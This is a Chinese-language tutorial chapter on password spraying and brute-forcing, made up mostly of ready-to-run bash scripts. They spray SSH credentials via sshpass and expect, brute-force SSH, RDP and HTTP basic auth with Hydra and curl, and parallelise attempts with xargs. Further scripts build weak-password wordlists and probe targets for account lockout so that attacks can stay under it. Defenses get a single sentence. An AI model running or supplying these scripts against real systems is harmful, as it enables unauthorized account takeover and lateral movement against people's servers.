密码喷射与暴力破解脚本

章节概述

密码喷射(Password Spraying)和暴力破解(Brute Force)是横向移动中最基础也最有效的技术。与传统的暴力破解不同,密码喷射使用少量常见密码对大量用户名进行尝试,能够有效避免账户锁定。本章系统性地讲解 SSH 密码喷射、RDP 暴力破解、HTTP 认证爆破、并发控制、密码字典管理以及锁定检测机制。

核心理念
密码喷射的核心是”少量密码 + 大量用户名”的策略,避免触发单账户锁定。暴力破解则需要在速度和隐蔽性之间找到平衡。防御端需要实施账户锁定策略、多因素认证和异常登录检测。


第1节 SSH 密码喷射

1.1 基础 SSH 密码喷射

#!/usr/bin/env bash
# ssh_password_spray.sh - SSH 密码喷射脚本
set -euo pipefail
 
TARGET_IP="${1:?用法: $0 <目标IP>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
DELAY="${4:-5}"
TIMEOUT="${5:-10}"
 
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
 
log_found() { echo -e "${RED}[+]${NC} $*"; }
log_info()  { echo -e "${YELLOW}[*]${NC} $*"; }
 
echo "=========================================="
echo "  SSH 密码喷射工具 v1.0"
echo "=========================================="
echo "目标: $TARGET_IP"
echo "用户字典: $USERLIST"
echo "密码字典: $PASSLIST"
echo "延迟: ${DELAY}s"
echo "=========================================="
 
if [[ ! -f "$USERLIST" ]]; then
    echo "[-] 用户字典不存在: $USERLIST"
    exit 1
fi
 
if [[ ! -f "$PASSLIST" ]]; then
    echo "[-] 密码字典不存在: $PASSLIST"
    exit 1
fi
 
mapfile -t PASSWORDS < "$PASSLIST"
FOUND_COUNT=0
 
for pass in "${PASSWORDS[@]}"; do
    [[ -z "$pass" ]] && continue
    log_info "尝试密码: ${pass:0:3}***"
 
    while IFS= read -r user; do
        [[ -z "$user" ]] && continue
        user=$(echo "$user" | tr -d '\r')
 
        if command -v sshpass &>/dev/null; then
            result=$(sshpass -p "$pass" ssh -o StrictHostKeyChecking=no \
                -o ConnectTimeout="$TIMEOUT" \
                -o PubkeyAuthentication=no \
                "$user@$TARGET_IP" "echo SUCCESS" 2>/dev/null)
 
            if [[ "$result" == "SUCCESS" ]]; then
                log_found "成功! $user:$pass"
                ((FOUND_COUNT++))
            fi
        else
            expect -c "
                set timeout $TIMEOUT
                spawn ssh -o StrictHostKeyChecking=no -o PubkeyAuthentication=no $user@$TARGET_IP
                expect {
                    \"password:\" { send \"$pass\r\"; exp_continue }
                    \"\$\" { exit 0 }
                    \"Permission denied\" { exit 1 }
                    timeout { exit 2 }
                }
            " &>/dev/null && log_found "成功! $user:$pass" && ((FOUND_COUNT++))
        fi
 
        sleep "$DELAY"
    done < "$USERLIST"
done
 
echo ""
echo "=========================================="
echo "  扫描完成: 发现 $FOUND_COUNT 个有效凭据"
echo "=========================================="

1.2 使用 Hydra 进行 SSH 爆破

#!/usr/bin/env bash
# hydra_ssh_brute.sh - Hydra SSH 暴力破解
set -euo pipefail
 
TARGET="${1:?用法: $0 <目标IP> [端口]}"
PORT="${2:-22}"
USERLIST="${3:-usernames.txt}"
PASSLIST="${4:-passwords.txt}"
 
if ! command -v hydra &>/dev/null; then
    echo "[-] Hydra 未安装: sudo apt install hydra"
    exit 1
fi
 
echo "[*] 使用 Hydra 进行 SSH 暴力破解..."
echo "    目标: $TARGET:$PORT"
 
hydra -L "$USERLIST" -P "$PASSLIST" \
    -s "$PORT" -t 4 -f -V \
    "ssh://$TARGET" 2>/dev/null
 
COMMON_PASSWORDS=("password" "123456" "admin" "root" "toor" "pass" "test" "guest" "master" "default")
printf '%s\n' "${COMMON_PASSWORDS[@]}" > /tmp/common_pass.txt
 
hydra -L "$USERLIST" -P /tmp/common_pass.txt \
    -s "$PORT" -t 4 -f -V \
    "ssh://$TARGET" 2>/dev/null

第2节 RDP 暴力破解

2.1 Hydra RDP 爆破

#!/usr/bin/env bash
# hydra_rdp_brute.sh - Hydra RDP 暴力破解
set -euo pipefail
 
TARGET="${1:?用法: $0 <目标IP>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
PORT="${4:-3389}"
 
if ! command -v hydra &>/dev/null; then
    echo "[-] Hydra 未安装"
    exit 1
fi
 
echo "[*] 使用 Hydra 进行 RDP 暴力破解..."
echo "    目标: $TARGET:$PORT"
 
hydra -L "$USERLIST" -P "$PASSLIST" \
    -s "$PORT" -t 1 -f -V \
    "rdp://$TARGET" 2>/dev/null

2.2 xfreeRDP 测试

#!/usr/bin/env bash
# xfreerdp_test.sh - 使用 xfreeRDP 测试凭据
set -euo pipefail
 
TARGET="${1:?用法: $0 <目标IP> <用户名> <密码>}"
USER="${2:?需要用户名}"
PASS="${3:?需要密码}"
PORT="${4:-3389}"
 
if ! command -v xfreerdp &>/dev/null; then
    echo "[-] xfreerdp 未安装"
    exit 1
fi
 
echo "[*] 测试 RDP 凭据..."
 
timeout 10 xfreerdp /v:"$TARGET" /port:"$PORT" \
    /u:"$USER" /p:"$PASS" /cert:ignore \
    /auto /dynamic-resolution 2>/dev/null
 
if [[ $? -eq 0 ]]; then
    echo "[+] 凭据有效! $USER:$PASS"
else
    echo "[-] 凭据无效或连接失败"
fi

第3节 HTTP 认证爆破

3.1 curl HTTP 认证测试

#!/usr/bin/env bash
# http_auth_brute.sh - HTTP 认证暴力破解
set -euo pipefail
 
TARGET_URL="${1:?用法: $0 <URL> <用户字典> <密码字典>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
 
log_found() { echo -e "\033[0;31m[+]\033[0m $*"; }
log_info()  { echo -e "\033[0;33m[*]\033[0m $*"; }
 
echo "[*] HTTP 认证暴力破解..."
echo "    目标: $TARGET_URL"
 
FOUND=0
 
while IFS= read -r user; do
    while IFS= read -r pass; do
        [[ -z "$pass" ]] && continue
 
        response=$(curl -s -o /dev/null -w "%{http_code}" \
            -u "$user:$pass" "$TARGET_URL" 2>/dev/null)
 
        case "$response" in
            200|301|302)
                log_found "成功! $user:$pass (HTTP $response)"
                ((FOUND++))
                ;;
            401) ;;
            403)
                log_info "禁止访问: $user (HTTP 403)"
                ;;
        esac
    done < "$PASSLIST"
done < "$USERLIST"
 
echo ""
echo "[*] 扫描完成: 发现 $FOUND 个有效凭据"

第4节 并发控制

4.1 基于 xargs 的并发

#!/usr/bin/env bash
# parallel_spray.sh - 并发密码喷射
set -euo pipefail
 
TARGET="${1:?用法: $0 <目标IP>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
MAX_JOBS="${4:-10}"
 
spray_single_user() {
    local target="$1" user="$2" pass="$3" timeout="${4:-10}"
    if command -v sshpass &>/dev/null; then
        result=$(sshpass -p "$pass" ssh -o StrictHostKeyChecking=no \
            -o ConnectTimeout="$timeout" -o PubkeyAuthentication=no \
            "$user@$target" "echo SUCCESS" 2>/dev/null)
        if [[ "$result" == "SUCCESS" ]]; then
            echo "[+] 成功! $user:$pass"
            return 0
        fi
    fi
    return 1
}
 
export -f spray_single_user
 
echo "[*] 并发密码喷射: 最大并发 $MAX_JOBS"
 
while IFS= read -r pass; do
    [[ -z "$pass" ]] && continue
    echo "[*] 尝试密码: ${pass:0:3}***"
    cat "$USERLIST" | xargs -I {} -P "$MAX_JOBS" \
        bash -c "spray_single_user '$TARGET' '{}' '$pass'" 2>/dev/null
    sleep 5
done < "$PASSLIST"

第5节 密码字典管理

5.1 常用密码生成器

#!/usr/bin/env bash
# password_generator.sh - 密码字典生成器
set -euo pipefail
 
OUTPUT="${1:-passwords.txt}"
TARGET_NAME="${2:-}"
 
echo "[*] 生成密码字典..."
 
{
    cat << 'WEAK'
password
123456
12345678
qwerty
abc123
monkey
1234567
letmein
trustno1
dragon
baseball
iloveyou
master
sunshine
passw0rd
shadow
123123
654321
superman
qazwsx
michael
football
password1
admin
admin123
root
toor
test
guest
default
changeme
WEAK
 
    if [[ -n "$TARGET_NAME" ]]; then
        echo "$TARGET_NAME"
        echo "${TARGET_NAME}1"
        echo "${TARGET_NAME}123"
        echo "${TARGET_NAME}!"
        echo "${TARGET_NAME}@"
        echo "${TARGET_NAME}2024"
        echo "${TARGET_NAME}2025"
    fi
 
    for year in {2020..2026}; do
        echo "Password${year}"
        echo "password${year}"
        echo "P@ssw0rd${year}"
        echo "Admin${year}"
    done
} > "$OUTPUT"
 
sort -u "$OUTPUT" -o "$OUTPUT"
echo "[+] 密码字典已生成: $OUTPUT ($(wc -l < "$OUTPUT") 条)"

第6节 锁定检测

6.1 账户锁定检测

#!/usr/bin/env bash
# lockout_detect.sh - 账户锁定检测
set -euo pipefail
 
TARGET="${1:?用法: $0 <目标IP>}"
USER="${2:?用法: $0 <目标IP> <用户名>}"
 
log_info()  { echo -e "\033[0;33m[*]\033[0m $*"; }
log_warn()  { echo -e "\033[1;33m[!]\033[0m $*"; }
 
echo "[*] 账户锁定检测..."
echo "    目标: $TARGET"
echo "    用户: $USER"
 
LOCKOUT_COUNT=0
MAX_ATTEMPTS=5
 
for i in $(seq 1 $MAX_ATTEMPTS); do
    log_info "尝试 $i/$MAX_ATTEMPTS..."
    if command -v sshpass &>/dev/null; then
        result=$(sshpass -p "wrong_password_$i" ssh -o StrictHostKeyChecking=no \
            -o ConnectTimeout=5 -o PubkeyAuthentication=no \
            "$USER@$TARGET" "echo SUCCESS" 2>&1)
        if echo "$result" | grep -qiE "(locked|disabled|blocked|too many)"; then
            log_warn "账户可能已锁定!"
            ((LOCKOUT_COUNT++))
        fi
    fi
    sleep 2
done
 
if [[ $LOCKOUT_COUNT -gt 0 ]]; then
    echo "[!] 检测到账户锁定机制 (触发 $LOCKOUT_COUNT 次)"
else
    echo "[+] 未检测到明显的账户锁定机制"
fi